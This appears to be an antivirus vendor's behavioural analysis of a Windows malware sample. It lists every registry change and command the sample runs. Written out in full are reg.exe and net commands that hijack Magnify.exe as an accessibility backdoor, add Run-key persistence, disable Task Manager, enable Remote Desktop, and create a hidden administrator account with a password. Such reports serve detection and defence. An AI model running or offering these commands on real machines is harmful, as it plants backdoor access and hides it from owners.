Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Magnify.exe] 'Debugger' = '%WINDIR%\OSR\run.bat'
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'CurrentVersion' = '%WINDIR%\OSR\clinetAPI.exe'
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'Run' = '%WINDIR%\OSR\hostAPI.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe] 'Debugger' = 'Hotkey Disabled'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe] 'Debugger' = 'Hotkey Disabled'
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shutdown.exe] 'Debugger' = 'Hotkey Disabled'
Malicious functions
To complicate detection of its presence in the operating system,
forces the system hide from view:
- hidden files
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
Network activity
Connects to
- 'microsoft.com':80
UDP
- DNS ASK microsoft.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Magnify.exe" /v "Debugger" /t REG_SZ /d "%WINDIR%\OSR\run.bat" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' ADD "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v system32 /t REG_DWORD /d 0 /f' (with hidden window)
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v DelayConMgrTimeout /t REG_DWORD /d 0 /f' (with hidden window)
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net user system32 /active:yes' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net localgroup "administrators" system32 /add' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net localgroup "Remote Desktop Users" system32 /add' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net user system32 !M5256956m! /add' (with hidden window)
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shutdown.exe" /v "Debugger" /t REG_SZ /d "Hotkey Disabled" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Hidden /t REG_DWORD /d 0 /f' (with hidden window)
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "Hotkey Disabled" /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C attrib +h "%WINDIR%\OSR"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C attrib +h "%WINDIR%\security\ApplicationId\PolicyManagement\AppIdSecurity"' (with hidden window)
- '<SYSTEM32>\reg.exe' ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "Run" /t REG_SZ /d "%WINDIR%\OSR\hostAPI.exe" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "CurrentVersion" /t REG_SZ /d "%WINDIR%\OSR\clinetAPI.exe" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "%WINDIR%\OSR\shellAPI.exe" /t REG_SZ /d "RUNASADMIN" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "%WINDIR%\OSR\hostAPI.exe" /t REG_SZ /d "RUNASADMIN" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "%WINDIR%\OSR\preocessAPI.exe" /t REG_SZ /d "RUNASADMIN" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "%WINDIR%\OSR\clinetAPI.exe" /t REG_SZ /d "RUNASADMIN" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v "Debugger" /t REG_SZ /d "Hotkey Disabled" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f' (with hidden window)
Executes the following
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Magnify.exe" /v "Debugger" /t REG_SZ /d "%WINDIR%\OSR\run.bat" /f
- '<SYSTEM32>\reg.exe' ADD "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v system32 /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v DelayConMgrTimeout /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
- '<SYSTEM32>\net1.exe' user system32 /active:yes
- '<SYSTEM32>\net.exe' user system32 /active:yes
- '<SYSTEM32>\cmd.exe' /C net user system32 /active:yes
- '<SYSTEM32>\net1.exe' localgroup "administrators" system32 /add
- '<SYSTEM32>\net.exe' localgroup "administrators" system32 /add
- '<SYSTEM32>\cmd.exe' /C net localgroup "administrators" system32 /add
- '<SYSTEM32>\net1.exe' localgroup "Remote Desktop Users" system32 /add
- '<SYSTEM32>\net.exe' localgroup "Remote Desktop Users" system32 /add
- '<SYSTEM32>\cmd.exe' /C net localgroup "Remote Desktop Users" system32 /add
- '<SYSTEM32>\net1.exe' user system32 !M5256956m! /add
- '<SYSTEM32>\reg.exe' ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Hidden /t REG_DWORD /d 0 /f
- '<SYSTEM32>\net.exe' user system32 !M5256956m! /add
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shutdown.exe" /v "Debugger" /t REG_SZ /d "Hotkey Disabled" /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "Hotkey Disabled" /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v "Debugger" /t REG_SZ /d "Hotkey Disabled" /f
- '<SYSTEM32>\attrib.exe' +h "%WINDIR%\OSR"
- '<SYSTEM32>\cmd.exe' /C attrib +h "%WINDIR%\OSR"
- '<SYSTEM32>\attrib.exe' +h "%WINDIR%\security\ApplicationId\PolicyManagement\AppIdSecurity"
- '<SYSTEM32>\cmd.exe' /C attrib +h "%WINDIR%\security\ApplicationId\PolicyManagement\AppIdSecurity"
- '<SYSTEM32>\reg.exe' ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "Run" /t REG_SZ /d "%WINDIR%\OSR\hostAPI.exe" /f
- '<SYSTEM32>\reg.exe' ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "CurrentVersion" /t REG_SZ /d "%WINDIR%\OSR\clinetAPI.exe" /f
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "%WINDIR%\OSR\shellAPI.exe" /t REG_SZ /d "RUNASADMIN" /f
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "%WINDIR%\OSR\hostAPI.exe" /t REG_SZ /d "RUNASADMIN" /f
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "%WINDIR%\OSR\preocessAPI.exe" /t REG_SZ /d "RUNASADMIN" /f
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "%WINDIR%\OSR\clinetAPI.exe" /t REG_SZ /d "RUNASADMIN" /f
- '<SYSTEM32>\cmd.exe' /C net user system32 !M5256956m! /add
- '<SYSTEM32>\reg.exe' ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
